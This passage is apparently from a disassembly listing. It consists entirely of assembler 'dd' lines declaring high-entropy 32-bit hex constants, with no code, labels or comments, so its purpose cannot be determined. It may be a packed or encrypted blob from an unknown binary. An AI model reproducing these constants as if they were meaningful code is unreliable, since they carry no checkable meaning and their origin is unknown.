		dd 0FC748168h, 3B56C9Dh, 4508047h, 95B9737Fh, 54042Ah
		dd 6EE12739h, 0E5005063h, 0BAF9ABA0h, 8ED44Fh, 0B96D5D6Bh
		dd 0C3130E0Ch, 50376E00h, 0EAE2BD18h, 92D600F1h, 4A917A5Dh
		dd 6F009930h, 0D9C09548h, 15AA4FAh, 46C157F3h, 0D0C2D4FBh
		dd 20C01A03h, 0CFA13E32h, 72FE0755h, 0C945ADh, 0D4188EBCh
		dd 0CEF2A400h, 4A70A242h, 0ECFA0025h, 6E49C176h, 2401A0F5h
		dd 7B64788Dh, 5085A923h, 26344AA7h, 2E0A6040h, 40C237F2h
		dd 3E493F88h, 25A10289h, 50D82280h, 867C90B4h, 204A6E30h
		dd 18EC4879h, 68304121h, 223E1A7Ch, 8B4A00A8h, 632C08C0h
		dd 7528C0C1h, 0E33CB942h, 15D06406h, 60088E16h,	3256216Eh
		dd 2B0037B0h, 812D03A1h, 71B8CE3h, 16FD82F2h, 0F876205Fh
		dd 7A60CCFEh, 57C3A0C0h, 3A260E2Dh, 3B6C6235h, 7C60B008h
		dd 890B8020h, 18F7D0Fh,	0CF8B99D8h, 484D685Ch, 0B3304AB0h
		dd 0A4FD8166h, 2A38C07Bh, 0FEE22904h, 8DD96B00h, 35DCECEFh
		dd 15760617h, 90CEDAF2h, 22B5F700h, 136D3E94h, 44180060h
		dd 0B42F9238h, 0F1CBC39h, 8380F1CFh, 0A749DBB0h, 0B19F07EDh
		dd 6F9D7BC9h, 5C40098Fh, 175F992Bh, 0AF617800h,	0F276AB3h
		dd 86910329h, 7A87088Ah, 74D16CF0h, 0BD0EB7FEh,	59E1E8h
		dd 0B4F2AD69h, 9F1D007Fh, 42B984Eh, 77002D5Fh, 72CE54D2h
		dd 9F6DBEB1h, 0BD03D258h, 9CFD362Eh, 0CA43B0A2h, 33510341h
		dd 85B098E2h, 0FC3048B0h, 1975C92Eh, 0A0DF8D0Fh, 7D7FE6F9h
		dd 488F07F3h, 0C094147Bh, 0D89025F8h, 7A49C93Eh, 1C50ED01h
		dd 9B5A0405h, 1BF828F1h, 5B473CA8h, 0F435CC00h,	7F8FA4F2h
		dd 0D7498D00h, 0F9F592FFh, 414A0FC6h, 0D881ACF7h, 87C2F869h
		dd 0D9FEA450h, 0C85B7F70h, 90360058h, 1E019D49h, 0EC063CE1h
		dd 6C08EB81h, 84740318h, 59ED5E3Bh, 0E17080A9h,	0E0FAF164h
		dd 8309412h, 0FFA72873h, 0E6EF60D2h, 0C24B9BDh,	9A9818C3h
		dd 0A0D86893h, 0CC9F6004h, 0D2001F2Bh, 1C84F0DAh, 0C0578F4Dh
		dd 0E65CB9D8h, 0F700EF93h, 6D72146Ah, 147C959Dh, 8C124573h
		dd 90DE8C0Ch, 14F8C230h, 0F83C0200h, 0A23D5D7Eh, 0D26700E7h
		dd 0AAA49477h, 0E85459EFh, 0ED327A28h, 868D1967h, 0C9972C0h
		dd 0FC769984h, 591470A9h, 0C060D254h, 730B770Dh, 60B931CAh
		dd 0F6E7A8h, 2AEB9474h,	390EFF4h, 0D9E2224Ch, 7F0AF3Bh
		dd 0A3608477h, 0F74E4F79h, 7C1B55F2h, 8884B1E2h, 98793EE3h
		dd 19938C18h, 4BE07C96h, 0D81C84A8h, 405AF930h,	14E7C4B7h
		dd 48F74D93h, 0F0AAB810h, 60FC7CCAh, 0E69A484Ah, 39DD90FBh
		dd 0C2CF9580h, 70E747FAh, 225B143Dh, 0A2454F0h,	18DA1410h
		dd 1DC9D01h, 0C4F6727Fh, 86EFC41Ah, 0F78A5AA1h,	0BF030039h
		dd 729F82A1h, 0F154740Ch, 86B741CCh, 10F20Fh, 85FB5210h
		dd 5E379B8Dh, 844A192Ah, 6EFA6500h, 0AE36B11Ah,	0BAD50384h
		dd 3BDEFBA5h, 0B80C97C3h, 10DF53EFh, 188C1CE4h,	48DF6Fh
		dd 0FAC98F51h, 69D047D8h, 0C19433DCh, 8EE7F972h, 5213E8D0h
		dd 7863A01Ch, 58521FBDh, 2A4E1E64h, 16814F06h, 50C65020h
		dd 5D0F061Eh, 10F6A23Ah, 0D2C4CC15h, 66DA0EB0h,	5EF28717h
		dd 819B7247h, 0D22D4331h, 65DAE6F0h, 7C0E61A5h,	3828F440h
		dd 408CD981h, 18360C40h, 19E2932Eh, 601E7A9Fh, 1026A09Bh
		dd 196E4831h, 5E212AFBh, 0EF10CA54h, 94F91BCh, 66D80EAh
		dd 2417744h, 150DBF98h,	0AC40AEEDh, 4082F6EBh, 8410C010h
		dd 0CF75128h, 87E9821h,	9C42F808h, 0C5057Dh, 0EF5A5264h
		dd 68036BDEh, 73E439C4h, 0F390E1D0h, 490D8824h,	0F200C806h
		dd 0AD813C0Fh, 750D327Ch, 48931BE8h, 0C2A4D4h, 0D20EB653h
		dd 0B5055A26h, 0DA1FC301h, 0CDD49645h, 5D10006Bh, 49AA6F86h
		dd 5333DD0Fh, 790EE028h, 0EC7778A1h, 0AA00BD9Ah, 193BA36Dh
		dd 0C3E02D0Eh, 0D8A8049Fh, 6EBEE0C0h, 0FB702810h, 1742ACh
		dd 0CC460A39h, 8E3293h,	839A76CAh, 6540B9D9h, 4127C301h
		dd 0C2FBF688h, 0E7D4C0h, 549D1D8h, 16736C6Dh, 0ECAD900h
		dd 0CF8AF059h, 54DD0507h, 0C44FFD12h, 0C535C0D9h, 0E3012322h
		dd 20A4AE70h, 36E54DF6h, 30D51BF0h, 6608C781h, 0DE003331h
		dd 2ABF38A7h, 87070Fh, 1BD1ECA0h, 75C566A4h, 0E2182598h
		dd 3B10D6DCh, 24AD0763h, 0D16C59B3h, 0D1646157h, 0C5508E85h
		dd 50AD6018h, 0F32B1CFh, 26E6FCF4h, 0F28A5220h,	0A03AD0EEh
		dd 9B598C66h, 76BF906Ch, 549226E8h, 68D01885h, 13715F48h
		dd 3C038303h, 1ADEC74h,	30B51B91h, 200E1E08h, 5B31DFE0h
		dd 6DB7088Ch, 0D420A0h,	0BD128208h, 0AB1704D7h,	8BE61D00h
		dd 7CFAAE50h, 0CEDB05B8h, 809F4C1Ah, 48E316C0h,	0D07C1C0h
		dd 6FFCBCh, 0BE494C26h,	0DA0F33AFh, 0C8AA8606h,	289A294h
		dd 3A6B078Bh, 94E1FF03h, 40CBE920h, 0D15A88ACh,	74389502h
		dd 639202D9h, 4E610C7Ch, 0E9291718h, 0AA53CE00h, 104D28D7h
		dd 0A89506C2h, 40C820C6h, 0D4CC452Ah, 0EA24F200h, 1594D3B2h
		dd 0FB7500F8h, 0C747F45Fh, 30C41A42h, 0FEC0F5D6h, 5066068Ah
		dd 9889B4DDh, 3FFD3F32h, 0F0417E80h, 6DA1D51Ah,	67A62E00h
		dd 12A93FBh, 0A0DF003Dh, 5DE4FABBh, 7B17D5ECh, 1FA6E04h
		dd 6C7569BCh, 3D204E7Dh, 80D721B2h, 0ECB95947h,	0D6504018h
		dd 28C75E0h, 133507D5h,	0B0198ED9h, 80F9510h, 91651904h
		dd 1489AE0Ah, 6210E200h, 1C92007Fh, 485DBE97h, 26482C27h
		dd 33B31514h, 0CA2B00ACh, 0F4ADA4CDh, 66A70F1Fh, 6A9905Eh
		dd 0EFD92C00h, 95000382h, 0E6F8FB89h, 5262CB12h, 601E0ADh
		dd 976C92AEh, 0E9F92076h, 15E87FFCh, 7827C8A8h,	0B1F49C00h
		dd 42E3B875h, 9930ED8Dh, 21140A0Ah, 594F9BBh, 2068CAFCh
		dd 5E9D242Ch, 11869623h, 0E629002Fh, 9606BC9Ch,	28D913FFh
		dd 492148Dh, 0CDC95BC1h, 599F400Ah, 7409FB6Dh, 18E303D8h
		dd 1DAD65D0h, 61C9B322h, 3600A391h, 4254AD6Dh, 800BDE5h
		dd 0A877D4C9h, 61B298E1h, 27DD69B8h, 0E43080D8h, 0E25808B6h
		dd 8FCE039Fh, 0F56B0C01h
		dd 0A83BFD8h, 8056663Ah, 0CA5B9CFFh, 0AA7DE5B7h, 618024D8h
		dd 679D2360h, 0AC7E9729h, 9CE8E0C0h, 75270EA6h,	0C4034594h
		dd 32C36D3Eh, 81F184D0h, 90C0030Fh, 4BDF245Fh, 168E2480h
		dd 5273E41Dh, 65009480h, 6E02E4E0h, 19390169h, 62086676h
		dd 6F870F21h, 290711E4h, 92B2E010h, 0FC74AB79h,	0FAC19960h
		dd 8EFF8Bh, 0B110E203h,	0E3049534h, 7A7E4500h, 0D7B90F7h
		dd 0AC9C2652h, 66AB0868h, 97899807h, 71F72AF0h,	8EA00ADCh
		dd 80C01402h, 545987B1h, 0B50C413Eh, 0E1BB44EBh, 830339EDh
		dd 0A3E89848h, 0FE006643h, 198BD8B5h, 40182F4Bh, 8871D6DAh
		dd 9E760044h, 33AD6422h, 10A88B9Fh, 9D241B6Dh, 0AB128477h
		dd 0D005C5Fh, 2C8CDE6Bh, 0B1C1E46h, 9895C583h, 0BCA05493h
		dd 0C7F32D00h, 97A25BD1h, 1A8DB706h, 9859D813h,	1D5461Ch
		dd 0CA78AD6Fh, 2B0C5039h, 21CD840h, 0BD8EAD72h,	0FDC08C12h
		dd 9022B6h, 30E8C01Ch, 0CE84D0C2h, 52A4A00Fh, 549005h
		dd 0C94FEC2Fh, 1A24465Ch, 9EBF5D0Fh, 0E98AC0C2h, 9F4E23h
		dd 376F459Dh, 0CAA2F8CCh, 97802D01h, 10264B94h,	609060h
		dd 0C5A51B09h, 3376A048h, 18E05D00h, 0ACF8CAEh,	7F36003Dh
		dd 1A93F8CBh, 0A4A0518Bh, 5D00323Fh, 0FF9819AEh, 24F2AD1Ch
		dd 0BE209C9Ah, 807C2024h, 6AB8FA87h, 49161544h,	0C4235022h
		dd 0F00CC84h, 57BEE9F9h, 0D2CF721Eh, 0B242095Eh, 97D5770Bh
		dd 0D59F08A4h, 844F7160h, 0F2401320h, 408C27AEh, 0FFB65D09h
		dd 55DCB103h, 48F48D9Dh, 45022CB8h, 0A237D59Bh,	521AEC60h
		dd 0C7481702h, 0C0C68DFEh, 0F1E2230h, 3B4574E6h, 0CAC5CB60h
		dd 4C140E1Bh, 50A4F482h, 8700BA64h, 6B45DBEDh, 0A2443ADh
		dd 0A37180E3h, 0B08F0388h, 389577FDh, 4A46DF20h, 0C18AAE18h
		dd 0A15CDC74h, 76AC006Ch, 0F196A3A9h, 9390C29Ah, 0ACA54009h
		dd 0EA042F66h, 4A687450h, 21B8417Ch, 11AF0AAh, 0E90015EEh
		dd 5500834Fh, 0DF22C2FEh, 0CA0D0F2h, 9D91F427h,	2B59AE49h
		dd 4A1D0764h, 443094BDh, 3D78425Ah, 0D00E087h, 4927C83Bh
		dd 2D3D1B4Ch, 88608607h, 69F276h, 8B051418h, 38715199h
		dd 919B311Dh, 0D359F100h, 101409D4h, 9CB1822h, 0A0DF6F8Bh
		dd 0C1757B30h, 5D01F43Ch, 0F610306Eh, 0AC5EC1E2h, 3C3190ADh
		dd 5BCBE422h, 0BC3F4080h, 0E8E9C875h, 5601276Fh, 0A436E35Fh
		dd 31F1B4D4h, 535DE0h, 4E3ED0F9h, 916CE62Bh, 7BE34C02h
		dd 0E16BC41Fh, 2511CC48h, 0FE1430BFh, 224704Ch,	4497762Bh
		dd 5C58C8FBh, 0B34AF7h,	6A1E1220h, 0C10062FFh, 405A0C96h
		dd 7832AA3h, 0EC0E7B6Eh, 3090A54Bh, 161CF6C0h, 8020705Dh
		dd 6E2DE4D9h, 0F3548C81h, 0C600BAB0h, 634A7BE4h, 29751CEh
		dd 0E2B08813h, 6C68AE42h, 0F81E4ED5h, 0FB4038B8h, 76544192h
		dd 0B70200D9h, 91572E94h, 9CA82D48h, 1CB297F0h,	0BB00B57Bh
		dd 19881F4Dh, 3CED09h, 9E71D258h, 65C6C898h, 4A01C898h
		dd 0C91D6D11h, 0D44EF933h, 31D60284h, 85E4D3C7h, 40F74B12h
		dd 95F3D46Ch, 9F02BA55h, 4C13FA6Ch, 20BD601Ah, 0C0AD74FEh
		dd 46C07829h, 1949B306h, 69007924h, 753BF2B4h, 923D1A48h
		dd 768B1D90h, 1E93417h,	4FBD0234h, 0AF44FC22h, 98A17F3Ah
		dd 0EBA13B48h, 3D911873h, 64E3916h, 112B7830h, 7ADACCABh
		dd 178603A7h, 7719C34Bh, 7C007CCEh, 1C43AF70h, 246F756Dh
		dd 86C4A398h, 5191F266h, 25FCD4B0h, 1CB1F724h, 5DD40580h
		dd 0FA38EDh, 434A7F55h,	68801A62h, 0C3318D0Fh, 85C07CA2h
		dd 5DE45C52h, 0B8AE6196h, 714874F6h, 71A8483Fh,	0FD5C1554h
		dd 0D0E57433h, 905DA1C6h, 0EEB440D2h, 210D2B2h,	6DAF5900h
		dd 3439C28h, 4C2C80D4h,	56CE003Ah, 4FF98514h, 0A509466Fh
		dd 18C206B2h, 488FD708h, 76C2AC45h, 3C726F91h, 893D95E0h
		dd 7E478406h, 3C9029D2h, 7502178Fh, 3CE0C2Ch, 5424E442h
		dd 0C4118700h, 0A7E2C348h, 22B3026Ch, 0A0D12A6Fh, 7C12D489h
		dd 19AF3E40h, 7B7C30F7h, 32AE3A15h, 0F7301F84h,	75048979h
		dd 407012AAh, 0E883BE02h, 0B1E55CE7h, 399FB00h,	48C79C7Eh
		dd 0CDF66512h, 5F869890h, 7DBCFC83h, 1D220A54h,	0E1A09126h
		dd 2950F40Fh, 449812DCh, 5C6495h, 0A0AE08A4h, 30457602h
		dd 0D41880AEh, 0D1B6CAh, 0CF58E13Ch, 431CF185h,	8090AD4Ch
		dd 6B0F1555h, 0BD293B54h, 0E7FD9900h, 0DFF1E987h, 401E5D00h
		dd 10127516h, 4D063CF2h, 9EC00906h, 9749A839h, 0BD811514h
		dd 0F283009Ch, 98A69CCh, 0A13AEC2Bh, 4211FDCh, 0EBFB048h
		dd 981CC4FAh, 0EBD062B1h, 0FBD06076h, 48D4B8A3h, 5DCAA8EFh
		dd 74813DEh, 34FDF50Ch,	9F103AFBh, 0C128C3D5h, 4EF1A8BBh
		dd 401C50AEh, 0A05E008Ch, 40DFD393h, 0F872E619h, 1270C03Fh
		dd 44028E3Eh, 481D9695h, 0C0A5D4D4h, 0B0025259h, 90E47124h
		dd 0CA81381Ch, 31CFF340h, 5DAC0193h, 980DE008h,	42411F9Ah
		dd 0D4A097D0h, 0EB6D5511h, 18D86000h, 0E14D5B8Ch, 9CF4034Bh
		dd 0AB76BF5Ah, 0E62CFAD0h, 98F6C706h, 0EB9C4ECh, 0F8752AD7h
		dd 0DDEFC960h, 3173760Bh, 98F70309h, 41EC924Bh,	7510A310h
		dd 9A01481Fh, 0CA594E49h, 50641DE3h, 5092AC8h, 6B1B00A8h
		dd 5429A3BFh, 0B512F918h, 4020CC62h, 50E6C046h,	0B0DB8C36h
		dd 885D54B4h, 743B006Dh, 9C484D1Fh, 0A09079FEh,	0A23CC80h
		dd 9F335200h, 3847749Dh, 6CF806CCh, 0D1A319E0h,	38E57634h
		dd 76ADCC88h, 93C3006Dh, 7816902Ah, 76014F8h, 0E33BBB49h
		dd 0FB6601B6h, 89AC9CE4h, 321848E5h, 5E018503h,	0EB3E9B34h
		dd 22C000F6h, 94565B5Fh, 67003B84h, 0B78CBA30h,	1F40BE11h
		dd 0B9C78B7Ch, 0DE9C1681h, 0F8869FA0h, 5B00D3D4h, 0C3DBFCD2h
		dd 38A38D88h, 285C334Ch, 0CAB8EA31h, 4AF18786h,	9BB5C915h
		dd 81F89C08h, 0EFDDD29Eh, 0C5F18096h, 978C1CB8h, 0C4E4020Ch
		dd 24194ECAh, 0CDC64C48h, 2FC8D754h, 91018374h,	0F44D4301h
		dd 0AC34B45Bh, 40775B75h, 0AF23877Ch, 880008F5h, 0B18EA639h
		dd 0E5622E7h, 4510F3C9h, 4E84FAAh, 0B469554Dh, 41C0B5D8h
		dd 30C9CEE1h, 0A17100E3h, 0BC084E9Eh, 2648353Fh, 45DA0127h
		dd 0E90DA40Eh, 880BD045h, 3630B065h, 6DD411E1h,	80F08A19h
		dd 0E4E58580h, 0F3F8FDh, 0D99D27F4h, 4AB30F55h,	9B533214h
		dd 707304B8h, 4C3ABC6h,	0C568988Eh, 60120C30h, 8221D12Bh
		dd 58ADD541h, 9F91E81Dh, 0E2C8CD81h, 889BF819h,	0C9B3BF0Ah
		dd 8360887Ah, 1CF46FCAh, 406337ABh, 3E6A2E96h, 0A3B279Dh
		dd 68D913F9h, 93B5C09h,	445CE744h, 7A5060A4h, 0B2A6005Dh
		dd 8A890182h, 435937F8h, 35A1044Ch, 7CC897CBh, 0F89C2DBBh
		dd 15C96480h, 0BE00FF93h, 7A34C3FAh, 1605F2Fh, 9748A5E5h
		dd 0D4F53D8Ch, 7300E139h, 0ED275369h, 464C54h, 878C9576h
		dd 6ECEC8A4h, 0F91B700h, 0F2E4D53Dh, 9B2A00B6h,	8CF4FCE0h
		dd 7500195Dh, 0E33A8D95h, 304788FEh, 7660C24Eh,	830E0B7Eh
		dd 808A97C0h, 0A0387D18h, 4B390C2Ah, 0B5688FD0h, 28ED8001h
		dd 0DEF01486h, 0DFD2ECh, 89E740CDh, 7B0C2EFh, 0EB0047EAh
		dd 0D0B5ED0Dh, 0B7201Eh, 0CAEED5DDh, 475791B0h,	2556F500h
		dd 1E4B4AA6h, 18A90160h, 0ED8DC810h, 8032F1B1h,	0E72E9A99h
		dd 466493h, 6F779E9Dh, 708543E4h, 0EE09D70Fh, 2F496144h
		dd 0C880612Ah, 0EDA9195h, 0D601C1ADh, 0EB874B15h, 0DCF45799h
		dd 7028003Ah, 4D18A04Ch
		dd 2E00CA79h, 1446BD24h, 0C300D3Dh, 0D16D1517h,	0BF0CE518h
		dd 304B294Dh, 98FD001Dh, 3AD073CCh, 70C672E4h, 4798A1Eh
		dd 5B5A4DF4h, 0A4C0807Bh, 897B6E4Fh, 81B4E300h,	0DCCA5590h
		dd 475100CCh, 0A072DBCDh, 0E273D6A3h, 0B7F07800h, 9D81A668h
		dd 60DD00C8h, 1F94C97Eh, 0C400509Ch, 62A538E0h,	0CC3276h
		dd 0BF7E1C35h, 45AFAC0Bh, 470E16E2h, 86420EA0h,	20603Ah
		dd 7FAC96FDh, 0BD4A4627h, 0E1E5D100h, 2A0CC941h, 62C00064h
		dd 0F1D9B7E2h, 8EF84237h, 3EFAB648h, 0AF6A1D09h, 2BA31C00h
		dd 0F188B8CEh, 20B52088h, 3C1F2200h, 510FE1Ch, 0CDF41B6Ah
		dd 0A8CF18D8h, 58863AECh, 450AED9Dh, 985441F5h,	4B5F21C4h
		dd 5D0AA507h, 5E70FAC2h, 6F565F6h, 0E1620CCAh, 0A2017054h
		dd 0D419271Eh, 3442DEC2h, 0A88B077h, 45A808ACh,	386414BDh
		dd 0AC99FE40h, 0AF017924h, 0F3D2E1E3h, 0C9BE4B1Eh, 97005A58h
		dd 0B15D20FFh, 78C06B59h, 0E88CE099h, 1BE00DBh,	34FA9039h
		dd 4000A83Ch, 330829D0h, 2EDBBB25h, 4C35AAh, 0AD5CB795h
		dd 0CD00FD2Ch, 7C527957h, 158487Dh, 0B1A9F79Ch,	0D40C3083h
		dd 0E8018731h, 26D97170h, 45A8884h, 394930CCh, 0DF0F04A7h
		dd 0FFD86E5h, 946A0610h, 95EC115h, 0BF2F4601h, 0BDDFB416h
		dd 1C433CD1h, 7D08185Dh, 86FA40D5h, 817C8Ch, 84236431h
		dd 7938B5C0h, 0D06BD831h, 8B27216h, 18856950h, 0C84C46AFh
		dd 0B36C093Bh, 326818A1h, 343988A5h, 4A3D9098h,	0D15018D0h
		dd 60A97C10h, 4209BCBCh, 20C8E5C3h, 0EE96F039h,	0C8DBCC81h
		dd 0B209CABEh, 73C601Ch, 3065A54Eh, 0C4A1D08h, 313E14DCh
		dd 0B970D1FCh, 0B3FE208Ah, 0A104D24h, 11960450h, 67C042B0h
		dd 39FE173Dh, 0A5A97B8Bh, 847C00ECh, 0AD527E77h, 163A2876h
		dd 0E4FC52A8h, 52AC042Fh, 71F40E1Fh, 0A460953Fh, 0B98B1FB4h
		dd 33F6DF80h, 4DC885Dh,	49EDF57Fh, 663D2032h, 0A3D40237h
		dd 86FB23E7h, 0E0127400h, 5D34080Fh, 0FD0471F2h, 0FB033C91h
		dd 4901AD7Ch, 88186AD7h, 1FED3DD6h, 1AA77EFCh, 60E72711h
		dd 248E1A81h, 0DC718085h, 58C0FD72h, 2F5014F2h,	6B063448h
		dd 4801A018h, 24396C00h, 56D717C9h, 639D0304h, 829CF0E8h
		dd 27A03EA0h, 0AFA5241Ch, 6C723D01h, 6D3151Bh, 465DB2A8h
		dd 47200884h, 8E7C0A80h, 0B38C49FDh, 9608548h, 63C04AF0h
		dd 645E0EF4h, 0F8026BE2h, 72C081A5h, 6EEA9E4Dh,	0A2F10300h
		dd 3EEA9588h, 0C2940573h, 20B9EF05h, 150419C4h,	8CEE5028h
		dd 2AC9100Ch, 8EE8C2h, 0A831CA27h, 0A2749566h, 799289C1h
		dd 6BE16E01h, 1D7CD170h, 4268847Bh, 8174C907h, 0D464F0A0h
		dd 70317191h, 0E6C4C13Ah, 242C1F0h, 7B7E783Bh, 0FC80FA01h
		dd 3979341Dh, 5071921Ah, 0E6700668h, 7A801E08h,	8FD0E455h
		dd 1D38B0h, 6A79D272h, 0E80D3105h, 2187C223h, 0CA573C0h
		dd 92F5D86Bh, 7528C8A1h, 1848AC8Eh, 4AEE000Ch, 65227785h
		dd 79DCE35Eh, 0A3BB0926h, 2C045088h, 0A86C4AF7h, 90876BE7h
		dd 0EB01F60Fh, 6712AFD3h, 4DFD2434h, 0C101789Ch, 0ACD55657h
		dd 10B84AEEh, 0C1C8FCD8h, 1A038B80h, 13DC6671h,	15925FDh
		dd 424311F8h, 0B29ED808h, 6CF0200h, 6B771ADAh, 50184D1Bh
		dd 0F7E00576h, 149341Ch, 6FB4C2A4h, 7EE814Bh, 886D22DAh
		dd 7932C0C4h, 0B7166h, 0FFAB4D6Ah, 0ECE79641h, 0A5E6BC01h
		dd 0FD163382h, 141BA041h, 191DA424h, 0C9C24375h, 9190439Ch
		dd 5B90EE4h, 0B80A7EBFh, 689C845Ch, 0E7821703h,	284C871Ch
		dd 0ECD20073h, 0EB98B08Eh, 8CA5F49Ch, 1A089411h, 21B45174h
		dd 0F7960C87h, 0FA072C31h, 481828EFh, 41A13065h, 2C29A8C8h
		dd 0BC2E491Ch, 98B1B4E4h, 0C0888176h, 7C468208h, 294561F1h
		dd 40BBBAE7h, 0D0F828F6h, 0B046E900h, 17F1EFE4h, 2F40C49Bh
		dd 0A710087h, 70BD92ECh, 3C183376h, 29214191h, 0EB62012Dh
		dd 8186F67Fh, 0A2F28179h, 5848963Dh, 29853A2Fh,	38D19067h
		dd 7607660h, 0C9F0A132h, 7F294ED0h, 0D8620148h,	77A2BD7Dh
		dd 0E9D1F010h, 0B3B2570Ch, 487660F6h, 0D00EB872h, 0FDE38ABBh
		dd 0F1E3A302h, 77167901h, 4BD1FAFEh, 34008055h,	0C47196D6h
		dd 44B0A43Bh, 48B5F8Ch,	0BF465988h, 7E1493F3h, 32DFB8D0h
		dd 6286A51Dh, 8C64C640h, 0AAFB15Eh, 540EEFE7h, 0A51C048Ch
		dd 9F591F80h, 0C8480710h, 84EF481Eh, 0D3FD8506h, 0C602802Eh
		dd 7BF480BCh, 32D11028h, 94C4771Eh, 0DC456306h,	0A7A0778h
		dd 0C17BF178h, 223C1B74h, 77D73EC8h, 0E93A711Ah, 0BCA5C010h
		dd 0D9DC0507h, 495D8774h, 2480B1C8h, 0C71A647Bh, 9DE07900h
		dd 0B5185B8h, 60B115h, 0D52AC329h, 0E0058C7h, 51A6E0CAh
		dd 7C6D7492h, 6A520046h, 6CB832E8h, 1A007D45h, 2F013D54h
		dd 4F663Fh, 0C33C2ADDh,	7F25A2Dh, 0FEB10209h, 0E02C007Bh
		dd 0F85EF9E7h, 0F6C578A8h, 486EEA7Eh, 0BC1F90F7h, 85180036h
		dd 5FB916E0h, 809128C4h, 9D68425Fh, 2863BC31h, 0ACB82911h
		dd 1181ED11h, 1E08738Ch, 0E041784h, 0F9045980h,	726C4486h
		dd 51B8424Eh, 0D588B2A5h, 44C6807Fh, 5C98F00h, 7595DFBAh
		dd 8AF292h, 0A91F1A65h,	487F9A36h, 87BC39h, 190150BBh
		dd 0DE0714h, 2313803Fh,	0C47D6D5Ah, 6C15A200h, 0AC32D097h
		dd 0BFA300E0h, 0DBD4BE27h, 0A67CF41Fh, 883A46B0h, 0EA5C8E5Ah
		dd 0FD65E01Ah, 0C0A505h, 72A34D77h, 36A6DCCCh, 46A20900h
		dd 43FE417Eh, 0F223076Ch, 40CF65ADh, 8A60ED1Ch,	98ABCD00h
		dd 0BBFB64DBh, 0E37949h, 57A14C92h, 1DB0FC6Ah, 6BA8B700h
		dd 4A9E3861h, 1C3100FDh, 97C587C7h, 9F00B86Ah, 4B63B04Fh
		dd 0ECD6965Ah, 0BAF0048h, 0F1DCC50Fh, 53E6022Bh, 2325EF00h
		dd 924D9896h, 0A01502DAh, 342812A4h, 0F55AB440h, 0D0CA3300h
		dd 41394A3Eh, 0EF040090h, 51C48FACh, 0F61E83E3h, 3EF5EAh
		dd 53396803h, 75583349h, 0D1060472h, 80DDFF37h,	0D86AAA94h
		dd 0C4266301h, 0D6E2C1CAh, 302AEE4h, 1384920Ah,	90DF5CE4h
		dd 0E94449A9h, 5B2B3000h, 85087D6Fh, 285E008Fh,	121F261Dh
		dd 0B2006E42h, 0CA57A337h, 48EF759Eh, 5C0E2AA7h, 89E0AE68h
		dd 4AFB9A69h, 2DCB5700h, 746DF43h, 2BDC1EE8h, 0C5D65Fh
		dd 0F68198DBh, 0E0013499h, 0EC15004h, 0B0243F2Eh, 7CF80093h
		dd 0F505CC91h, 2401A2A7h, 2AD3D819h, 0FC476C9Bh, 99CE1A90h
		dd 11B20098h, 7A355BFFh, 55000EB3h, 0A39BD41Bh,	72EF6C4h
		dd 8CE38802h, 0A1C58117h, 6C54607Fh, 0DE433Fh, 9EA8FAA9h
		dd 0CB4C82h, 40683D81h,	59568EEEh, 9263C300h, 73AE1E97h
		dd 0DE7216h, 0CFDC4F0Ah, 0A29E7035h, 2C70C00h, 27D35BECh
		dd 97FB0061h, 0A518DFE0h, 1DE60E8Ah, 4E591200h,	8CD6F3CBh
		dd 7FE90009h, 2A22C32Bh, 0CD000701h, 23EAC096h,	79AE6E1h
		dd 8D6B0EFDh, 5BE5B0F9h, 380098C8h, 94F6C1F1h, 0A6575Eh
		dd 5030CD86h, 8EA86A13h, 586CD100h, 0D0761421h,	5683006Bh
		dd 8290A4A7h, 0EB00C87Ch, 0FEA26A74h, 5A37A8Ah,	0E4F7DC2Fh
		dd 4C880148h, 70F035AFh, 33794492h, 71A27C00h, 5501936Bh
		dd 62140EC7h, 0DC404A70h, 35D9FF20h, 0F7FE4600h, 11EBE3DBh
		dd 0E5A0A0B0h, 25CA0056h, 98A0D861h, 993E93CEh,	55229EF6h
		dd 67E7AC00h, 32D1356h,	953EB1E6h, 41C8360Fh, 5D00AF53h
		dd 9CC76D6Bh, 0E81D2Ah,	38B6463Fh, 0E1396E84h, 49260418h
		dd 1E6CEEAh, 8331C1EAh
		dd 20CDC60Dh, 7F002408h, 933F4BA3h, 0CA1CDAh, 2BB8C103h
		dd 572704E7h, 0F1225A00h, 0C0E9C8F7h, 0AF9D00BFh, 0CEB865A8h
		dd 0F498A7ECh, 3A00F2B0h, 0AD967780h, 143BA34h,	8B56E05Eh
		dd 0C05DC53Eh, 15079EDEh, 0FCF54F0Ch, 0C3F9E3h,	48251C10h
		dd 2378943h, 47FA600h, 9727C0C1h, 130903A2h, 0F83F7E68h
		dd 37DDB3C8h, 1BEDC403h, 0A25DB2BFh, 8B86606Ah,	9F6600A0h
		dd 9A4144A2h, 4A1E0146h, 780135C7h, 81184EDAh, 1CE0ECFCh
		dd 56CC8F1Fh, 0D7E0073h, 6641D0C9h, 1D2070D4h, 0B5006B4Fh
		dd 0E104E49Dh, 0CA0600D2h, 51989408h, 700995F3h, 9FAA10h
		dd 6E759318h, 9BA500C1h, 0A191CA6Dh, 0AF00B837h, 66EB5B1Dh
		dd 79DF31Eh, 7A2A9B08h,	2B8D30DEh, 0B008195h, 8FFCAD10h
		dd 1E16250Ch, 5FE1CC56h, 49F14086h, 0F613E5A8h,	9DE6E900h
		dd 0C1AA37Ch, 0AF952CE3h, 6AF80080h, 476139DBh,	0C35B0500h
		dd 9775B843h, 94C7006Fh, 0BB252803h, 0D0186A36h, 8270ECE4h
		dd 0E2A2EE4Ah, 3ED10927h, 0E18089C0h, 3FEE72D2h, 0A98AF04h
		dd 4480B818h, 1CDB3526h, 89FAC5CEh, 0D800A7B0h,	7AC932B4h
		dd 0F101C30Eh, 4EEB6059h, 0E87D405Ch, 14110003h, 6FB527D4h
		dd 24C0EF84h, 7DA2E0FDh, 3ADCE692h, 0AD87EC0Dh,	0D270F92Ah
		dd 58C86CE9h, 477F660Fh, 40977E09h, 508C00FDh, 0E68DF3h
		dd 3A48089Ch, 4674C0Dh,	5B58004h, 2C7D7F8h, 0A9DF4050h
		dd 256100DCh, 335717F7h, 0F8E80263h, 4DFA6000h,	37D2201Bh
		dd 496800ABh, 0D9D7192h, 0CC0474B1h, 58104342h,	2CDBACC0h
		dd 0F9DE00ABh, 0D9130B22h, 46004060h, 0D34B8AFAh, 2B838Fh
		dd 0D8E61A05h, 0B5D781D0h, 0F4EABD00h, 1747DE56h, 0F85B0083h
		dd 3F80C3E9h, 1900B4C0h, 414F44ACh, 47A891Fh, 0F1063F4h
		dd 0E7E4806Fh, 92014346h, 7B7C66A8h, 0F7D3BE52h, 0F095050Fh
